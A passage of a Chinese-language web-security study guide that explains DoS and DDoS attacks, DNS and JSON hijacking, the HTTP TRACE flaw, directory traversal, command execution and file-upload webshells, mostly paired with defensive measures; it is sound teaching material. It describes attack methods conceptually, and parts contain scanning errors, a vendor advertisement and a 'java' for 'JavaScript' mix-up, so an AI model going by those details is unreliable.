DoS全称Denial of Service:拒绝服务攻击 (单台计算机发起攻击)

DoS攻击通常是利用传输协议的漏洞、系统存在的漏洞、服务的漏洞,对目标系统发起大规模的进攻,用超出目标处理能力的海量数据包消耗可用系统资源、带宽资源等,或造成程序缓冲区溢出错误,致使其无法处理合法用户的正常请求,无法提供正常服务,最终致使网络服务瘫痪,甚至引起系统死机。这是破坏攻击目标正常运行的一种"损人不利己"的攻击手段。

攻击原理:利用合理的请求占用过多的服务资源,使得服务超载,无法响应正常的服务请求

最常见的DoS攻击行为有网络带宽攻击和连通性攻击。

网络带宽攻击是指以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求无法通过。

连通性攻击是指用大量的连接请求冲击计算机,使得所有可用的操作系统资源都被消耗殆尽,最终计算机无法再处理合法用户的请求。

防范:

  1. 定期扫描

    定期扫描才能找到未知的隐藏漏洞,并且能够及时修补。

  2. 配置防火墙

    防火墙一般是抵御dos攻击的第一道防线,通过配置防火墙,可以过滤,控制访问设备,还能利用黑白名单防止没有授权的用户入侵系统。

  3. 优化服务器端口

    如果把服务器的端口全部开放的话,不经常使用的端口就会成为黑客的切入,所有把不必要的端口和服务关闭,只开放一个使用的端口是一个很不错的办法。

  4. 部署高防服务器

    高防服务器具有超强的防御能力,能够保证服务器在稳定正常的工作环境下实行防御工作,给用户更好更高速的访问体验。

# 14.8 DDoS攻击

DDoS全称Distributed Denial of Service:分布式拒绝服务攻击(多台计算机或计算机群发起攻击)

指处于不同位置的多个攻击者同时向一个或数个目标发动攻击,或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的,这类攻击称为分布式拒绝服务攻击,其中的攻击者可以有多个。简单来说,攻击者使用多台计算机或者计算机群进行的DoS攻击,就是DDoS攻击。

常用于攻击对外提供服务的服务器,如:web服务,邮件服务,DNS服务,即时通讯服务等。

早期的互联网,发起DoS攻击是一件特别容易的事情,攻击者使用一台性能较好的计算机,写个多线程不断的向服务器发起请求,服务器应接不暇,导致无法处理正常请求,最终瘫痪。而这种情况对于普通用户来说,就是网站无法访问拒绝服务。后来随着技术更新迭代,一个网站后面是数不清的CDN节点和web服务器,如果说还想着用单台计算机发起攻击,想让一个网站服务资源满载瘫痪的话,我只能说,鸡蛋碰石头,对方还完好无损,自己就先倒了!

防范:

  1. 定期扫描

  2. 配置DDoS防火墙

  3. 优化服务器端口

  4. 部署高防产品(高防服务器、高防IP)

  5. 扩大带宽

  6. 部署CDN

  7. 做负载均衡

  8. 分布式集群防御

  9. 升级服务器硬件

  10. 备份网站

  11. 隐藏服务器真实地址

  12. 舍得花钱....

# 14.9 DNS劫持

每台服务器都有相对应的IP地址,DNS主要作用就是把域名解析成IP地址让计算机识别,从而让我们输入域名就能访问到对应的网站。所以在整个访问过程中,DNS起到了很大的作用。

如果攻击者随意的篡改DNS解析设置,把域名由正常的IP地址指向攻击者控制的非法IP,就会导致我们打开的网站不是对应的网站,这种攻击手段就是DNS劫持。(比如你要访问的网站是baidu.com,某度的,而这个域名正常指向的IP假如是127.0.0.1,攻击者篡改设置把它指向了127.0.0.2这个非法IP,如果这个非法IP所对应的服务器放了一个和某度一模一样的网站,在这个网站上做了一些违法行为或者诈骗信息,你也分不清这个网站是真是假,最終导致的結果是不堪设想的。)

DNS 劫持是一种非常常见且危害极大的网络攻击手段,对用户而言;通过DNS 劫持可

以将用户诱导至攻击者控制的非法网站,可能会造成银行卡号、手机号码、账号密码等重要

信息的泄露。对政企而言,DNS 劫持将用户引导至其他网站,会导致用户流失和形家受损等。在21 年6月份的时候,美国政府封禁伊朗网站,采用的就是这种攻击手段,导致伊朗几个官网网站被指向由 FBI控制的站点,对伊朗的国家形家和利益造成了很大影响。

那么为什么 DNs 容易遭受劫持呢?

1.过期或者遗忘的域名

很多公司不注重域名的重要性,导致域名管理非常混乱,经常有域名过期或者被還忘,

攻击者通过较弱的账号密码,可以很轻松的取得域名的控制权。

2.未使用的域名

很多公司为了防止域名被抢注,所以会汪册很多与品牌相关的域名进行平台保护,这其

实跟抢占商标是一个道理,往往注册了但就是不用,所以很多都没有得到有效的管理。

3,城名后合系统的安全防护问题

原因就是密码设的过于简单,攻击者可以很轻松的获得密码,进入后台。

4服务商的问题

很多企业会把 DNS 交给专业的DNs 服务商去管理,其服务商的能力很多都参差不齐...我就不多说了。

防范:

  1. 设置域名后台系统的密码等级,做到复杂化,保护好密码防止泄露,定期修改账号及密码。

  2. 通过设置较小的TTL值,让递归服务器在较短时间间隙进行解析请求,从而获得最新的解析记录,可以有效防止DNS被劫持。

  3. 对DNS解析记录进行锁定,锁定期间DNS解析记录不能做任何修改,从根本上杜绝了攻击者通过修改DNS记录进行域名劫持的目的。

4.选择正规专业的DNS服务商,可以获得性能较为强大的域名解析和域名监测服务,及时发现域名异常状态并快速解决。中科三方采用最新域名安全监测系统,针对用户域名状态进行24小时无缝监测,第一时间发现问题,并及时作出响应,时刻为用户的域名安全保驾护航。

5.安装SSL证书。SSL证书具备服务器身份认证功能,可以使DNS 劫持导致的连接错误情况及时被发现和终止,同时 HTTPS 协议可以在数据传输中对数据进行加密传输,保护数据不被窃取和修改。

# 14.10 JSON 劫持

对数据进行窃取。恶意攻击者通过某些特定的手段,将本应该返回给用户的JSON数据进行拦截,进而将数据发送回给恶意攻击者,这就是JSON劫持的大概含义。一般来说进行劫持的JSON数据都是包含敏感信息或者有价值的数据。

攻击者一般会挑选有价值的网站获取有用的信息,如网购网站,购票网站、论坛等

发动一次成功的JSON劫持攻击必须要有如下先决条件:

1、受攻击的网站URL返回一个JSON对象或者数组,并且返回的数据有重要的价值,也就是敏感的数据

2、受攻击的网站地址支持GET请求的响应

3、受害人的浏览器没有禁用java

4、受害人浏览了钓鱼/恶意网站,并且受害人在受攻击的网站中,保存在COOKIE中的身份验证信息尚未清除

5、受攻击的站点没有做相关的防御措施

防御方案:

1、尽量避免跨域的数据传输,对于同域的数据传输使用xmlhttp的方式作为数据获取的方式,依赖于javascript在浏览器域里的安全性保护数据。

2、referer的来源限制,利用前端referer的不可伪造性来保障请求数据的应用来源于可信的地方,此种方式力度较小,完全依赖于referer,某些情况下(如存在xss)可能导致被绕过。

3、token的加入,严格来说,这种利用javascript hijacking的方式获取数据是CSRF的一种,不过较之传统的CSRF不能获取数据只能提交而言,这种方式利用javascript可以获取一些敏感信息而已。如果我们能让攻击者对接口未知,就可以实现json hijacking的防御了。利用token对调用者的身份进行认证,这种方式对于调用者的身份会要求力度较细,但是一旦出现xss也可能导致前端Token的泄露,从而导致保护失效。

4、对于同域的json使用情况下,可以在数据的输出头部加入while(1);的方式避免数据被script标签的方式引用,这可以防止一些比较有特性的浏览器里导致的数据泄漏。

此外老外还提到了

使用CORS代替jsonp

不要在使用cookie的情况下使用jsonp交换数据

# 14.11 HTTP报头协议追踪漏洞

HTTP/1.1(RFC2616)规范定义了HTTP TRACE方法,主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时,提交的请求头会在服务器响应的内容(Body)中完整的返回,其中HTTP头很可能包括Session Token、Cookies或其它认证信息。

攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击,由于HTTP TRACE请求可以通过客户浏览器脚本发起(如XMLHttpRequest),并可以通过DOM接口来访问,因此很容易被攻击者利用。

# 14.12 敏感信息暴露

由于Web 配置不安全, 某些请求(如:登录、注册)把诸如用户名和密码等敏感字段未加密进行传输,攻击者可以窃听网络以劫获这些敏感信息。

防范:

  1. 对称加密算法:AES、DES、3DES...

  2. 非对称加密算法:RSA、ECC(移动设备用)...

  3. Hash 算法:MD5、...

    关于加密算法,我会在后面着重讲解

还有不对外产生调试信息(保证生产环境控制台中没有调试信息)。过滤用户提交的数据与特殊字符 保证源代码、服务器配置的安全

# 14.13 目录遍历漏洞

攻击者向 Web 服务器发送请求,通过在 URL 中或在有特殊意义的目录中附加 ../、或者附加 ../ 的一些变形(如 .. 或 ..// 甚至其编码),导致攻击者能够访问未授权的目录,以及在 Web 服务器的根目录以外执行命令。

# 14.14 命令执行漏洞

命令执行漏洞是通过 URL 发起请求,在 Web 服务器端执行未授权的命令,获取系统信息、篡改系统配置、控制整个系统、使系统瘫痪等。

# 14.15 文件上传漏洞

如果对文件上传路径变量过滤不严,并且对用户上传的文件后缀以及文件类型限制不严,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。

所以一般需注意:

在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件 限制相关目录的执行权限,防范 webshell 攻击。

# 礼仪话术篇

# 附一

# 后序

Last Updated: 8/23/2022, 2:45:09 PM